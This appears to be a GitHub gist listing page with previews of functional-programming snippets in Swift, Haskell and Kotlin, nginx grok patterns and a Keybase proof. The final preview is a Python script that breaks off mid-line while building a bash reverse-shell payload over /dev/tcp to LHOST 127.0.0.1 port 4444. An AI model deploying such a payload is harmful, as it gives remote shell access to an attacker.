Skip to content

Instantly share code, notes, and snippets.

View throughnothing's full-sized avatar

William Wolf throughnothing

View GitHub Profile
@throughnothing
throughnothing / Free.swift
Created February 2, 2016 00:17 — forked from CodaFi/Free.swift
Free Monads in Swift
//
// Free.swift
// Swift_Extras
//
// Created by Robert Widmann on 9/19/14.
// Copyright (c) 2014 Robert Widmann. All rights reserved.
//
import Foundation
@throughnothing
throughnothing / AlaCarte.hs
Created January 6, 2016 06:36 — forked from puffnfresh/AlaCarte.hs
Coproduct to combine algebras for a free monad interpreter.
module AlaCarte where
-- Control.Monad.Free
data Free f a = Free (f (Free f a)) | Pure a
instance Functor f => Monad (Free f) where
Pure a >>= f = f a
Free r >>= f = Free (fmap (>>= f) r)
return = Pure
trait Tree
data object Empty : Tree
data class Leaf(val value: Int) : Tree
data class Node(val left: Tree, val right: Tree) : Tree
fun max(x:Int, y:Int):Int = if (x > y) x else y
fun depth(t: Tree): Int = when (t) {
is Empty -> 0
is Leaf -> 1
@throughnothing
throughnothing / gist:acac591acc02e2c86063
Created December 4, 2015 06:18 — forked from dodyg/gist:5823184
Kotlin Programming Language Cheat Sheet Part 1

#Intro

Kotlin is a new programming language for the JVM. It produces Java bytecode, supports Android and generates JavaScript. The latest version of the language is Kotlin M5.3

Kotlin project website is at kotlin.jetbrains.org.

All the codes here can be copied and run on Kotlin online editor.

Let's get started.

@throughnothing
throughnothing / 0_reuse_code.js
Last active August 29, 2015 14:16
Here are some things you can do with Gists in GistBox.
// Use Gists to store code you would like to remember later on
console.log(window); // log the "window" object to the console
@throughnothing
throughnothing / README.md
Created February 23, 2015 08:24
SPV Method from Breadwalet
### Keybase proof
I hereby claim:
* I am throughnothing on github.
* I am throughnothing (https://keybase.io/throughnothing) on keybase.
* I have a public key whose fingerprint is D2A3 32BC 2B61 2C33 9FAB 1C89 5840 84D4 423D 17F3
To claim this, I am signing this object:
# NGINX
NGINX_TIMESTAMP %{MONTHDAY}/%{MONTH}/%{YEAR}:%{HOUR}:%{MINUTE}:%{SECOND} %{ISO8601_TIMEZONE}
NGINXCUSTOM %{DATA:request_id} %{NUMBER:status}:%{NUMBER:request_time}:%{NUMBER:upstream_response_time}:%{NUMBER:body_bytes_sent} %{NUMBER:connection} %{IP:remote_ip} %{NOTSPACE:host} %{NOTSPACE:remote_user} \[%{NGINX_TIMESTAMP:timestamp}\] "%{WORD:method} %{NOTSPACE:path} %{NOTSPACE:protocol}" "%{DATA:http_referer}" "%{DATA:user_agent}" "%{DATA:http_forwarded_for}" %{NOTSPACE:upstream_addr} %{GREEDYDATA:upstream_cache_status}
@throughnothing
throughnothing / README.md
Last active January 17, 2017 13:37
Readability send-to-kindle.js

Looks like they POST => /kindle/queue, which returns a 302 redirect to a url with an id, or something like that?

# -*- coding: utf-8 -*-
#
import tempfile
import sys, os
import re
LHOST, LPORT = ('127.0.0.1', '4444')
PAYLOAD = (r'''os.system('echo "bash -c \'0<&76-;exec 76<>/dev/tcp/%s/%s;